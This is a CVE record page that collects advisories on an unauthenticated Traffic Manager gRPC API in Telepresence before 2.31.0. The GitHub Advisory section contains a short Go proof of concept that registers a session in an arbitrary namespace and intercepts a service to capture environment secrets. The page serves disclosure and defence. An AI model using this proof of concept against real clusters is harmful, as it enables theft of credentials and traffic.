CVE-2026-102340
JSON

8.5high

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Severity
8.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.40% (higher than 36% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-j8j4-rw65-56r6GO-2026-6947

Description

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

Affected

Product or packageVersionsReported by
telepresenceio telepresence< 2.31.0CVE List
github.com/telepresenceio/telepresence (Go)before 2.31.0GitHub Advisory Database
github.com/telepresenceio/telepresence/v2 (Go)before 2.31.0Go Vulnerability Database

All scores

GitHub_M8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
GitHub8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Classification

CWE-306CWE-862

SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.

What each source says

CVE List

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.

GitHub Advisory Database

Summary

Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.

Details

The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).

ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):

// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
    if !s.State().ManagesNamespace(ctx, client.Namespace) {
        return nil, status.Error(codes.FailedPrecondition, ...)
    }
    // No SAR, no bearer token, no kubeconfig check
    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}

CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.

Proof of Concept

From any pod in the cluster:

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})

Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.

Impact

Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.

Go Vulnerability Database

Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets in github.com/telepresenceio/telepresence

References

Sources

SourceRecordLicence
CVE ListCVE-2026-102340 changed 2026-11-09CVE Terms of Use
GitHub Advisory DatabaseGHSA-j8j4-rw65-56r6 changed 2026-11-23CC-BY-4.0
Go Vulnerability DatabaseGO-2026-6947 changed 2026-11-23CC-BY-4.0
NVDCVE-2026-102340 changed 2026-11-12Public domain